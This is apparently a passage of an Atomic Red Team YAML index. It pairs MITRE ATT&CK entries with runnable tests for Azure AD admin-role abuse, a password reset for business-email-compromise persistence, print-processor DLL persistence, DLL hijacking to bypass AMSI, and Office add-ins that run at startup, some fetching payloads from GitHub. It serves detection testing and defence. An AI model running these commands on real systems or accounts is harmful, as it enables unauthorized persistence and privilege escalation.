kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Microsoft Threat Intelligence Center (MSTIC) - Alex Parsons, Crowdstrike - Chris Romano, Crowdstrike - Wojciech Lesicki - Pià Consigny, Tenable - Clément Notin, Tenable - Praetorian - Alex Soler, AttackIQ - Arad Inbar, Fidelis Security x_mitre_deprecated: false x_mitre_detection: 'Collect activity logs from IAM services and cloud administrator accounts to identify unusual activity in the assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins. ' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Office 365 - IaaS - SaaS - Google Workspace - Azure AD x_mitre_version: '2.4' x_mitre_data_sources: - 'User Account: User Account Modification' type: attack-pattern id: attack-pattern--2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3 created: '2020-01-19T16:59:45.362Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1098/003 external_id: T1098.003 - source_name: Expel AWS Attacker description: " Brian Bahtiarian, David Blanton, Britton Manahan and Kyle Pellett. (2022, April 5). Incident report: From CLI to console, chasing an attacker in AWS. Retrieved April 7, 2022." url: https://expel.com/blog/incident-report-from-cli-to-console-chasing-an-attacker-in-aws/ - source_name: Microsoft O365 Admin Roles description: Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et. al.. (2019, October 8). About admin roles. Retrieved October 18, 2019. url: https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide - source_name: AWS IAM Policies and Permissions description: AWS. (n.d.). Policies and permissions in IAM. Retrieved April 1, 2022. url: https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html - source_name: Google Cloud IAM Policies description: Google Cloud. (2022, March 31). Understanding policies. Retrieved April 1, 2022. url: https://cloud.google.com/iam/docs/policies - source_name: Invictus IR DangerDev 2024 description: Invictus Incident Response. (2024, January 31). The curious case of DangerDev@protonmail.me. Retrieved March 19, 2024. url: https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me - source_name: Microsoft Support O365 Add Another Admin, October 2019 description: Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019. url: https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d - source_name: Rhino Security Labs AWS Privilege Escalation description: Spencer Gietzen. (n.d.). AWS IAM Privilege Escalation – Methods and Mitigation. Retrieved May 27, 2022. url: https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1098.003 atomic_tests: - name: Azure AD - Add Company Administrator Role to a user auto_generated_guid: 4d77f913-56f5-4a14-b4b1-bf7bb24298ad description: 'Add an existing Azure user account the Company Administrator Role. ' supported_platforms: - azure-ad input_arguments: username: description: Azure AD username type: string default: jonh@contoso.com password: description: Azure AD password type: string default: p4sswd target_user: description: Name of the user who will be assigned the Company Admin role type: string default: default dependency_executor_name: powershell dependencies: - description: 'MSOnline module must be installed. ' prereq_command: 'try {if (Get-InstalledModule -Name MSOnline -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1} ' get_prereq_command: 'Install-Module -Name MSOnline -Force ' executor: command: | Import-Module MSOnline $Password = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Password Connect-MsolService -Credential $Credential Add-MsolRoleMember -RoleName "Company Administrator" -RoleMemberEmailAddress "#{target_user}" cleanup_command: 'Remove-MsolRoleMember -RoleName "Company Administrator" -RoleMemberType User -RoleMemberEmailAddress "#{target_user}" ' name: powershell elevation_required: false - name: Simulate - Post BEC persistence via user password reset followed by user added to company administrator role auto_generated_guid: 14f3af20-61f1-45b8-ad31-4637815f3f44 description: | This test looks at simulating the an adversary described in the following blog post. It involves resetting the password of a normal user and adding to the company administrator role within M365. Reference: https://www.huntress.com/blog/business-email-compromise-via-azure-administrative-privileges supported_platforms: - azure-ad input_arguments: auth_username: description: Azure AD username used to conduct the adversary activity type: string default: jonh@contoso.com auth_password: description: Azure AD password for user auth_username type: string default: p4sswd target_user: description: Name of the user whose password be reset and added to the admin role. type: string default: default target_password: description: The password that the user target_user will be reset to. type: string default: Ohn05GeMe#$ dependency_executor_name: powershell dependencies: - description: 'MSOnline and AzureAD modules must be installed. ' prereq_command: | $required_mods = 'AzureAD', 'MSOnline' $installed_mods = @((Get-Module $required_mods -ListAvailable -ErrorAction SilentlyContinue).Name | Select-Object -Unique) $notInstalled = Compare-Object $required_mods $installed_mods -PassThru -ErrorAction SilentlyContinue if ($notInstalled) { # Prompt for installing the missing ones. Write-Output "The following PS modules aren't currently installed:" $notInstalled exit 1 } else{ Write-Output "All required PS modules are installed" exit 0 } get_prereq_command: | Install-Module -Name MSOnline -Scope CurrentUser -Force Install-Module -Name AzureAD -Scope CurrentUser -Force executor: command: | Import-Module MSOnline Import-Module AzureAD $password = ConvertTo-SecureString -String "#{auth_password}" -AsPlainText -Force $credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{auth_username}", $password $targetsecurepw = ConvertTo-SecureString -String "#{target_password}" -AsPlainText -Force Connect-MsolService -Credential $credential -ErrorAction:SilentlyContinue Connect-AzureAD -Credential $credential -ErrorAction:SilentlyContinue #Saving the ObjectId of the target_user into a variable $target_objid = Get-AzureADUser -filter "userPrincipalName eq '#{target_user}'" | Select-Object -ExpandProperty ObjectId #Reset the password of the target_user Set-AzureADUserPassword -ObjectId $target_objid -Password $targetsecurepw -ErrorAction:SilentlyContinue #Adding target_user Add-MsolRoleMember -RoleName "Company Administrator" -RoleMemberEmailAddress "#{target_user}" Add-MsolRoleMember -RoleName "Global Reader" -RoleMemberEmailAddress "#{target_user}" cleanup_command: | Import-Module MSOnline $password = ConvertTo-SecureString -String "#{auth_password}" -AsPlainText -Force $credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{auth_username}", $password Connect-MsolService -Credential $credential Remove-MsolRoleMember -RoleName "Company Administrator" -RoleMemberType User -RoleMemberEmailAddress "#{target_user}" Remove-MsolRoleMember -RoleName "Global Reader" -RoleMemberType User -RoleMemberEmailAddress "#{target_user}" name: powershell elevation_required: false T1547.012: technique: modified: '2023-10-04T14:16:17.655Z' name: 'Boot or Logon Autostart Execution: Print Processors' description: |- Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.(Citation: Microsoft Intro Print Processors) Adversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the AddPrintProcessor API call with an account that has SeLoadDriverPrivilege enabled. Alternatively, a print processor can be registered to the print spooler service by adding the HKLM\SYSTEM\\[CurrentControlSet or ControlSet001]\Control\Print\Environments\\[Windows architecture: e.g., Windows x64]\Print Processors\\[user defined]\Driver Registry key that points to the DLL. For the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the GetPrintProcessorDirectory API call, or referenced via a relative path from this directory.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020) The print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Mathieu Tartare, ESET - Tahseen Bin Taj x_mitre_deprecated: false x_mitre_detection: |- Monitor process API calls to AddPrintProcessor and GetPrintProcessorDirectory. New print processor DLLs are written to the print processor directory. Also monitor Registry writes to HKLM\SYSTEM\ControlSet001\Control\Print\Environments\\[Windows architecture]\Print Processors\\[user defined]\\Driver or HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\\[Windows architecture]\Print Processors\\[user defined]\Driver as they pertain to print processor installations. Monitor for abnormal DLLs that are loaded by spoolsv.exe. Print processors that do not correlate with known good software or patching may be suspicious. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.1' x_mitre_data_sources: - 'Windows Registry: Windows Registry Key Modification' - 'File: File Creation' - 'Driver: Driver Load' - 'Module: Module Load' - 'Process: OS API Execution' x_mitre_permissions_required: - Administrator - SYSTEM type: attack-pattern id: attack-pattern--2de47683-f398-448f-b947-9abcc3e32fad created: '2020-10-05T13:24:49.780Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1547/012 external_id: T1547.012 - source_name: Microsoft AddPrintProcessor May 2018 description: Microsoft. (2018, May 31). AddPrintProcessor function. Retrieved October 5, 2020. url: https://docs.microsoft.com/en-us/windows/win32/printdocs/addprintprocessor - source_name: Microsoft Intro Print Processors description: Microsoft. (2023, June 26). Introduction to print processors. Retrieved September 27, 2023. url: https://learn.microsoft.com/windows-hardware/drivers/print/introduction-to-print-processors - source_name: ESET PipeMon May 2020 description: Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti Group. Retrieved August 24, 2020. url: https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1547.012 atomic_tests: - name: Print Processors auto_generated_guid: f7d38f47-c61b-47cc-a59d-fc0368f47ed0 description: | Establishes persistence by creating a new print processor registry key under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors. The new print processor will point to a DLL which will be loaded by the spooler service after a reboot. The DLL will then create the file AtomicTest.txt in C:\Users\Public\ as validation that the test is successful. Note: The test assumes a x64 Windows operating system. The payload source code is based on a blog post by stmxcsr: [https://stmxcsr.com/persistence/print-processor.html](https://stmxcsr.com/persistence/print-processor.html) supported_platforms: - windows input_arguments: restart: description: set to 1 if you want the computer to reboot as part of the test type: integer default: 0 executor: command: | if( $(get-service -Name spooler).StartType -eq "Disabled") {Set-Service -Name "spooler" -StartupType Automatic} net stop spooler Copy-Item "$PathToAtomicsFolder\T1547.012\bin\AtomicTest.dll" C:\Windows\System32\spool\prtprocs\x64\AtomicTest.dll reg add "HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors\AtomicRedTeam" /v "Driver" /d "AtomicTest.dll" /t REG_SZ /f net start spooler if(#{restart}){ Restart-Computer } cleanup_command: | net stop spooler rm -force C:\Windows\System32\spool\prtprocs\x64\AtomicTest.dll -ErrorAction SilentlyContinue rm -force C:\Users\Public\AtomicTest.txt -ErrorAction SilentlyContinue remove-item "HKLM:\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors\AtomicRedTeam" -Force -ErrorAction SilentlyContinue net start spooler name: powershell elevation_required: true T1574.001: technique: modified: '2024-04-18T22:54:54.668Z' name: 'Hijack Execution Flow: DLL Search Order Hijacking' description: |- Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution. There are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637) Phantom DLL hijacking is a specific type of DLL search order hijacking where adversaries target references to non-existent DLL files.(Citation: Adversaries Hijack DLLs) They may be able to load their own malicious DLL by planting it with the correct name in the location of the missing module. Adversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking) If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Travis Smith, Tripwire - Stefan Kanthak - Marina Liang - Will Alexander - Ami Holeston x_mitre_deprecated: false x_mitre_detection: Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of `.manifest` and `.local` redirection files that do not correlate with software updates are suspicious. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.2' x_mitre_data_sources: - 'File: File Modification' - 'Module: Module Load' - 'File: File Creation' type: attack-pattern id: attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34 created: '2020-03-13T18:11:08.357Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1574/001 external_id: T1574.001 - source_name: Adversaries Hijack DLLs description: CrowdStrike, Falcon OverWatch Team. (2022, December 30). Retrieved October 19, 2023. url: https://www.crowdstrike.com/blog/4-ways-adversaries-hijack-dlls/ - source_name: FireEye Hijacking July 2010 description: Harbour, N. (2010, July 15). Malware Persistence without the Windows Registry. Retrieved November 17, 2020. url: https://www.fireeye.com/blog/threat-research/2010/07/malware-persistence-windows-registry.html - source_name: FireEye fxsst June 2011 description: Harbour, N. (2011, June 3). What the fxsst?. Retrieved November 17, 2020. url: https://www.fireeye.com/blog/threat-research/2011/06/fxsst.html - source_name: Microsoft Security Advisory 2269637 description: Microsoft. (, May 23). Microsoft Security Advisory 2269637. Retrieved March 13, 2020. url: https://docs.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637 - source_name: Microsoft Dynamic-Link Library Redirection description: Microsoft. (2018, May 31). Dynamic-Link Library Redirection. Retrieved March 13, 2020. url: https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN - source_name: Microsoft Dynamic Link Library Search Order description: Microsoft. (2018, May 31). Dynamic-Link Library Search Order. Retrieved November 30, 2014. url: https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN - source_name: Microsoft Manifests description: Microsoft. (n.d.). Manifests. Retrieved December 5, 2014. url: https://msdn.microsoft.com/en-US/library/aa375365 - source_name: FireEye DLL Search Order Hijacking description: Nick Harbour. (2010, September 1). DLL Search Order Hijacking Revisited. Retrieved March 13, 2020. url: https://www.fireeye.com/blog/threat-research/2010/08/dll-search-order-hijacking-revisited.html - source_name: OWASP Binary Planting description: OWASP. (2013, January 30). Binary planting. Retrieved June 7, 2016. url: https://www.owasp.org/index.php/Binary_planting object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1574.001 atomic_tests: - name: DLL Search Order Hijacking - amsi.dll auto_generated_guid: 8549ad4b-b5df-4a2d-a3d7-2aee9e7052a3 description: | Adversaries can take advantage of insecure library loading by PowerShell to load a vulnerable version of amsi.dll in order to bypass AMSI (Anti-Malware Scanning Interface) https://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/ Upon successful execution, powershell.exe will be copied and renamed to updater.exe and load amsi.dll from a non-standard path. supported_platforms: - windows executor: command: | copy %windir%\System32\windowspowershell\v1.0\powershell.exe %APPDATA%\updater.exe copy %windir%\System32\amsi.dll %APPDATA%\amsi.dll %APPDATA%\updater.exe -Command exit cleanup_command: | del %APPDATA%\updater.exe >nul 2>&1 del %APPDATA%\amsi.dll >nul 2>&1 name: command_prompt elevation_required: true - name: Phantom Dll Hijacking - WinAppXRT.dll auto_generated_guid: 46ed938b-c617-429a-88dc-d49b5c9ffedb description: ".NET components (a couple of DLLs loaded anytime .NET apps are executed) when they are loaded they look for an environment variable called APPX_PROCESS\nSetting the environmental variable and dropping the phantom WinAppXRT.dll in e.g. c:\\windows\\system32 (or any other location accessible via PATH) will ensure the \nWinAppXRT.dll is loaded everytime user launches an application using .NET.\n\nUpon successful execution, amsi.dll will be copied and renamed to WinAppXRT.dll and then WinAppXRT.dll will be copied to system32 folder for loading during execution of any .NET application.\n" supported_platforms: - windows executor: command: | copy %windir%\System32\amsi.dll %APPDATA%\amsi.dll ren %APPDATA%\amsi.dll WinAppXRT.dll copy %APPDATA%\WinAppXRT.dll %windir%\System32\WinAppXRT.dll reg add "HKEY_CURRENT_USER\Environment" /v APPX_PROCESS /t REG_EXPAND_SZ /d "1" /f cleanup_command: | reg delete "HKEY_CURRENT_USER\Environment" /v APPX_PROCESS /f del %windir%\System32\WinAppXRT.dll del %APPDATA%\WinAppXRT.dll name: command_prompt elevation_required: true T1137.006: technique: x_mitre_platforms: - Windows - Office 365 x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--34f1d81d-fe88-4f97-bd3b-a3164536255d type: attack-pattern created: '2019-11-07T19:52:52.801Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1137.006 url: https://attack.mitre.org/techniques/T1137/006 - url: https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460 description: Microsoft. (n.d.). Add or remove add-ins. Retrieved July 3, 2017. source_name: Microsoft Office Add-ins - url: https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/ description: Knowles, W. (2017, April 21). Add-In Opportunities for Office Persistence. Retrieved July 3, 2017. source_name: MRWLabs Office Persistence Add-ins - source_name: FireEye Mail CDS 2018 url: https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s03-youve-got-mail.pdf description: Caban, D. and Hirani, M. (2018, October 3). You’ve Got Mail! Enterprise Email Compromise. Retrieved April 22, 2019. - source_name: GlobalDotName Jun 2019 url: https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique description: Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019. modified: '2022-04-25T14:00:00.188Z' name: 'Office Application Startup: Add-ins' description: "Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)\n\nAdd-ins can be used to obtain persistence because they can be set to execute code when an Office application starts. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence x_mitre_detection: |- Monitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins.(Citation: GlobalDotName Jun 2019)(Citation: MRWLabs Office Persistence Add-ins) Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Windows Registry: Windows Registry Key Modification' - 'File: File Modification' - 'Command: Command Execution' - 'Windows Registry: Windows Registry Key Creation' - 'Process: Process Creation' - 'File: File Creation' x_mitre_permissions_required: - Administrator - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1137.006 atomic_tests: - name: Code Executed Via Excel Add-in File (XLL) auto_generated_guid: 441b1a0f-a771-428a-8af0-e99e4698cda3 description: | Loads an XLL file using the excel add-ins library. This causes excel to launch Notepad.exe as a child process. This atomic test does not include persistent code execution as you would typically see when this is implemented in malware. supported_platforms: - windows dependencies: - description: 'Microsoft Excel must be installed ' prereq_command: | try { New-Object -COMObject "Excel.Application" | Out-Null Stop-Process -Name "Excel" exit 0 } catch { exit 1 } get_prereq_command: 'Write-Host "You will need to install Microsoft Excel manually to meet this requirement" ' - description: XLL files must exist on disk at specified location prereq_command: 'if ((Test-Path "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x64.xll") -and (Test-Path "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x86.xll")) {exit 0} else {exit 1} ' get_prereq_command: |- New-Item -Type Directory "PathToAtomicsFolder\T1137.006\bin\Addins\" -Force | Out-Null Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/excelxll_x64.xll" -UseBasicParsing -OutFile "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x64.xll" Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/excelxll_x86.xll" -UseBasicParsing -OutFile "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x86.xll" executor: name: powershell command: | $excelApp = New-Object -COMObject "Excel.Application" if(-not $excelApp.path.contains("Program Files (x86)")){ Write-Host "64-bit Office" $excelApp.RegisterXLL("PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x64.xll") } else{ Write-Host "32-bit Office" $excelApp.RegisterXLL("PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x86.xll") } cleanup_command: 'Stop-Process -Name "notepad","Excel" -ErrorAction Ignore ' - name: Persistent Code Execution Via Excel Add-in File (XLL) auto_generated_guid: 9c307886-9fef-41d5-b344-073a0f5b2f5f description: | Creates an Excel Add-in file (XLL) and sets a registry key to make it run automatically when Excel is started The sample XLL provided launches the notepad as a proof-of-concept for persistent execution from Office. supported_platforms: - windows dependencies: - description: 'Microsoft Excel must be installed ' prereq_command: | try { New-Object -COMObject "Excel.Application" | Out-Null Stop-Process -Name "Excel" exit 0 } catch { exit 1 } get_prereq_command: 'Write-Host "You will need to install Microsoft Excel manually to meet this requirement" ' - description: XLL files must exist on disk at specified location prereq_command: 'if ((Test-Path "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x64.xll") -and (Test-Path "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x86.xll")) {exit 0} else {exit 1} ' get_prereq_command: |- New-Item -Type Directory "PathToAtomicsFolder\T1137.006\bin\Addins\" -Force | Out-Null Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/excelxll_x64.xll" -UseBasicParsing -OutFile "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x64.xll" Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/excelxll_x86.xll" -UseBasicParsing -OutFile "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x86.xll" executor: name: powershell command: | $excelApp = New-Object -COMObject "Excel.Application" if(-not $excelApp.path.contains("Program Files (x86)")){ Write-Host "64-bit Office" Copy "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x64.xll" "$env:APPDATA\Microsoft\AddIns\notepad.xll" } else{ Write-Host "32-bit Office" Copy "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x86.xll" "$env:APPDATA\Microsoft\AddIns\notepad.xll" } $ver = $excelApp.version $ExcelRegPath="HKCU:\Software\Microsoft\Office\$Ver\Excel\Options" Remove-Item $ExcelRegPath -ErrorAction Ignore New-Item -type Directory $ExcelRegPath | Out-Null New-ItemProperty $ExcelRegPath OPEN -value "/R notepad.xll" -propertyType string | Out-Null $excelApp.Quit() Start-Process "Excel" cleanup_command: | $ver = (New-Object -COMObject "Excel.Application").version Remove-Item "HKCU:\Software\Microsoft\Office\$Ver\Excel\Options" -ErrorAction Ignore Stop-Process -Name "notepad","Excel" -ErrorAction Ignore Start-Sleep 3 Remove-Item "$env:APPDATA\Microsoft\AddIns\notepad.xll" -ErrorAction Ignore - name: Persistent Code Execution Via Word Add-in File (WLL) auto_generated_guid: 95408a99-4fa7-4cd6-a7ef-cb65f86351cf description: "Creates a Word Add-in file (WLL) which runs automatically when Word is started\nThe sample WLL provided launches the notepad as a proof-of-concept for persistent execution from Office.\nSuccessfully tested on 32-bit Office 2016. Not successful from microsoft 365 version of Office. \n" supported_platforms: - windows dependencies: - description: 'Microsoft Word must be installed ' prereq_command: | try { New-Object -COMObject "Word.Application" | Out-Null Stop-Process -Name "winword" exit 0 } catch { exit 1 } get_prereq_command: 'Write-Host "You will need to install Microsoft Word manually to meet this requirement" ' - description: WLL files must exist on disk at specified location prereq_command: 'if ((Test-Path "PathToAtomicsFolder\T1137.006\bin\Addins\wordwll_x64.wll") -and (Test-Path "PathToAtomicsFolder\T1137.006\bin\Addins\wordwll_x86.wll")) {exit 0} else {exit 1} ' get_prereq_command: |- New-Item -Type Directory "PathToAtomicsFolder\T1137.006\bin\Addins\" -Force | Out-Null Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/wordwll_x64.wll" -UseBasicParsing -OutFile "PathToAtomicsFolder\T1137.006\bin\Addins\wordwll_x64.wll" Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/wordwll_x86.wll" -UseBasicParsing -OutFile "PathToAtomicsFolder\T1137.006\bin\Addins\wordwll_x86.wll" executor: name: powershell command: "$wdApp = New-Object -COMObject \"Word.Application\"\nif(-not $wdApp.path.contains(\"Program Files (x86)\")) \n{\n Write-Host \"64-bit Office\"\n Copy \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\wordwll_x64.wll\" \"$env:APPDATA\\Microsoft\\Word\\Startup\\notepad.wll\" \n}\nelse{\n \ Write-Host \"32-bit Office\"\n Copy \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\wordwll_x86.wll\" \"$env:APPDATA\\Microsoft\\Word\\Startup\\notepad.wll\"\n}\nStop-Process -Name \"WinWord\" \nStart-Process \"WinWord\"\n" cleanup_command: | Stop-Process -Name "notepad","WinWord" -ErrorAction Ignore Start-Sleep 3 Remove-Item "$env:APPDATA\Microsoft\Word\Startup\notepad.wll" -ErrorAction Ignore - name: Persistent Code Execution Via Excel VBA Add-in File (XLAM) auto_generated_guid: '082141ed-b048-4c86-99c7-2b8da5b5bf48' description: | Creates an Excel VBA Add-in file (XLAM) which runs automatically when Excel is started The sample XLAM provided launches the notepad as a proof-of-concept for persistent execution from Office. supported_platforms: - windows dependencies: - description: 'Microsoft Excel must be installed ' prereq_command: | try { New-Object -COMObject "Excel.Application" | Out-Null Stop-Process -Name "Excel" exit 0 } catch { exit 1 } get_prereq_command: 'Write-Host "You will need to install Microsoft Excel manually to meet this requirement" ' - description: XLAM file must exist on disk at specified location prereq_command: 'if (Test-Path "PathToAtomicsFolder\T1137.006\bin\Addins\ExcelVBAaddin.xlam") {exit 0} else {exit 1} ' get_prereq_command: |- New-Item -Type Directory "PathToAtomicsFolder\T1137.006\bin\Addins\" -Force | Out-Null Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/ExcelVBAaddin.xlam" -UseBasicParsing -OutFile "PathToAtomicsFolder\T1137.006\bin\Addins\ExcelVBAaddin.xlam" executor: name: powershell command: "Copy \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\ExcelVBAaddin.xlam\" \"$env:APPDATA\\Microsoft\\Excel\\XLSTART\\notepad.xlam\" \nStart-Process \"Excel\"\n" cleanup_command: | Stop-Process -Name "notepad","Excel" -ErrorAction Ignore Start-Sleep 3 Remove-Item "$env:APPDATA\Microsoft\Excel\XLSTART\notepad.xlam" -ErrorAction Ignore - name: Persistent Code Execution Via PowerPoint VBA Add-in File (PPAM) auto_generated_guid: f89e58f9-2b49-423b-ac95-1f3e7cfd8277 description: | Creates a PowerPoint VBA Add-in file (PPAM) which runs automatically when PowerPoint is started The sample PPA provided launches the notepad as a proof-of-concept for persistent execution from Office. supported_platforms: - windows dependencies: - description: 'Microsoft Excel must be installed ' prereq_command: | try { New-Object -COMObject "PowerPoint.Application" | Out-Null Stop-Process -Name "PowerPnt" exit 0 } catch { exit 1 } get_prereq_command: 'Write-Host "You will need to install Microsoft PowerPoint manually to meet this requirement" ' - description: PPAM file must exist on disk at specified location prereq_command: 'if (Test-Path 